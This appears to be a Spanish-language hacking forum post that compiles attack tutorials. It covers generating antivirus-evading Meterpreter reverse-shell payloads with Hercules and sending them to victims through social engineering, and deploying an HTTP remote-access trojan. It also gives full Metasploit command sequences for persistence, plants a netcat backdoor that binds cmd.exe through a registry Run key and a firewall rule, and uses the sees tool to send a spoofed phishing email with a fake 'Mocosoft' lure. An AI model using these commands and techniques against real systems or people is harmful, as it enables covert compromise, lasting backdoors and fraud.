Definición:

Hercules es una herramienta cuyo proposito es generar un payload fud (Fully Undetectable) que evade antivirus.

Antes de nada:

*POR FAVOR NO SUBAIS EL PAYLOAD A VIRUSTOTAL!, porque dejaría de ser FUD.

Tutorial:

./HERCULES_x64 192.168.1.20 4444 –p windows/meterpreter/reverse_tcp –a x64 –l dynamic

"./HERCULES_x64 [IP LOCAL] [PUERTO] –p [PAYLOAD] –a [ARQUITECTURA] –l [LINKER]"

Se nos guardará un payload que tendrá el nombre de Payload.exe el cual enviaremos a nuestra victima mediante cualquier técnica de ingeniería social.
Crearemos un listener TCP con NetCat escribiendo el comando:

nc –l –p [PUERTO]

+ Cabe destacar que también podremos poner un listenner de metasploit y ganar así una sesión meterpreter.
*NetCat: Es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).

Ratio de detección:


Descarga:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vídeo:

Definición:

HTTP RAT es un tipo de troyano de acceso remoto que utiliza interfaces web y el puerto 80 para obtener acceso. Puede entenderse simplemente como un túnel de HTTP, excepto que funciona en la dirección inversa. Estos troyanos son comparativamente más peligroso ya que estos funcionan en la web y por lo tanto funciona en casi todas partes donde se puede encontrar internet.

Requisitos:

Sistema Operativo Windows (Atacante)
Sistema Operativo Windows (Víctima)

Tutorial:


Abrimos HTTP RAT lo configuramos a nuestro gusto y le damos a create, nos creará un ejecutable.




Pasamos el ejecutable a nuestra víctima y lo ejecutamos, se creará un proceso en background de un servidor.




Ahora ponemos la IP de la víctima en nuestro navegador y veremos esto:




Detección por antivirus:




Descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Requisitos:
Sesión meterpreter con permisos elevados (Bypass UAC)
Metasploit
Netcat
Distribución Linux (Atacante)
Windows (Víctima)

Persistencia:
En la sesión meterpreter con permisos elevados:

Citarrun persistence –X –i 10 –p 443 –r [IP]

-X= Conectarse cuando el sistema reinicie.
-i 10= Intentar conectarse cada 10 segundos.
-p 443= Puerto de conexión reversa.
-r ip= IP de conexión reversa-

Después de haber ejecutado el script, reiniciamos el equipo víctima y usamos el exploit:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST [IP LOCAL]
exploit

s4u_persistence:
Crea una tarea programada que se ejecutará utilizando el servicio para el usuario (S4U). Esto permite que la tarea programada para ejecutarse incluso como un usuario sin privilegios que no se registra en el dispositivo. Esto resultará en contexto de seguridad más bajo, lo que permite el acceso sólo a los recursos locales. El módulo requiere 'Logon as a batch job' permisos (SeBatchLogonRight).
Pondremos en background la sesión meterpreter con bypass uac y:

use exploit/windows/local/s4u_persistence
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP LOCAL]
set LPORT 443
set trigger logon
set session [Número sesión]
exploit

Después de haber ejecutado el script, reiniciamos el equipo víctima y usamos el exploit:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP LOCAL]
exploit

VSS_PERSISTENCE:
Este módulo intentará crear un payload persistente en una nueva instantánea de volumen. Esto se basa en la secuencia de comandos VSSOwn publicado originalmente por Tim Tomes y Mark Baggett. Este módulo ha sido probado con éxito en Windows 7. Con el fin de lograr la persistencia a través de la opción RUNKEY, el usuario debe necesitar una contraseña para iniciar sesión en el equipo atacado.
Primero consigue una shell meterpreter con bypass uac y pon en background la sesión despues ejecuta los siguientes comandos:

use exploit/windows/local/vss_persistence
set runkey true
set schtask true
set RHOST [IP VÍCTIMA]
set session [Número sesión]
exploit

Ahora al ejecutar el exploit se creará un backdoor y una nueva sesión meterpreter.
Ahora al reiniciar el equipo víctima se perderán las sesiones meterpreter, usa el siguiente comando para abrir una nueva:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP LOCAL]
set LPORT 4444
exploit

REGISTRY PERSISTENCE:
En este módulo se instalará un payload que se ejecutará durante el arranque. Será ejecutado ya sea al iniciar la sesión de usuario o el inicio del sistema mediante el valor de registro en "CurrentVersion \ Run" (dependiendo de privilegio y método seleccionado). El payload se instalará completamente en el primer registro de la sesión fondo meterpreter y luego ejecutar los comandos:
Primero consigue una shell meterpreter con bypass uac y pon en background la sesión despues ejecuta los siguientes comandos:

use exploit/windows/local/registry_persistence
set payload windows/meterpreter/reverse_tcp
set LHOST [IP LOCAL]
set LPORT 4545
set startup system
set session [Número de la sesión]
exploit

Ahora al reiniciar el sistema perderemos las sesiones asique usaremos los siguientes comandos para abrir una nueva:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP LOCAL]
set LPORT 4545
exploit

NETCAT:
Netcat es una utilidad de red ofrecido que lee y escribe datos a través de conexiones de red, utilizando el protocolo TCP / IP.
Después de tener nuestra sesión meterpreter con bypass uac pondremos:

Citarupload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32

Ahora vamos a setear el valor del registro:

Citarreg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'

Abrimos una shell con el comando:

Citarshell

Y abriremos el puerto en el firewall:

Citarnetsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

Para saber que todo está bien configurado pondremos:

Citarnetsh firewall show portopening

Veremos que tenemos la regla de netcat en el firewall.
Una vez reiniciemos el pc víctima, para conectarnos a él usaremos el comando:

Citarnc  -nv [IP VÍCTIMA] [PUERTO/4445]

Definición:

Email spoofing es la creación de mensajes de correo electrónico con una dirección de remitente falso. Es fácil de hacer porque los protocolos básicos no tienen ningún mecanismo de autenticación. Se puede llevar a cabo desde dentro de una LAN o desde un entorno externo utilizando troyanos. Emails de spam y phishing suelen utilizar este engaño para inducir a error al destinatario sobre el origen del mensaje.

Requisitos:

Postfix –> apt-get install postfix
Mailutils –> apt-get install mailutils

Tutorial:

Iniciamos postfix:

Citar/etc/init.d/postfix start

Clonamos el repositorio sees (A Social Engineering Attack/Audit Tool for Spear Phishing):

Citargit clone No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Elegir correo a suplantar y a quien se lo envias:

Citarnano sees/config/mail.user

Editar archivo de configuración de sees:

Citarnano sees/config/sees.cfg

(Poner el domino que hemos configurado al instalar postfix)

Editamos lo que vamos a enviar:

Citarnano sees/data/[Podemos enviar texto planto, html, docx, pdf..]

En mi caso enviaré el html.text pero haciéndole unas modificaciones para que quede así:

<html>
<body>
<h1><center>Mocosoft te da la bienvenida</center></h1>
<b>Confirmación de registro</b>
<br>
<br>
<p>Haz click en el enlace para activar su cuenta</p>
<a href="192.168.1.130/confirmacion.jpg">ACTIVAR CUENTA</a>
</body>
</html>

El hipervínculo apunta a una foto que tengo en un servidor.

Para enviar el mensaje:

Citar./sees.py – -text – -config_file config/sees.cfg – -mail_user config/mail.user – -html_file data/html.text -v

Ayuda:
–text = No vamos a enviar ningún archivo adjunto
–config_file = Archivo de configuración de sees.
–mail_user = Archivo donde se elige el correo a suplantar
–html_file = Archivo html
-v = Para enviar

Vídeo: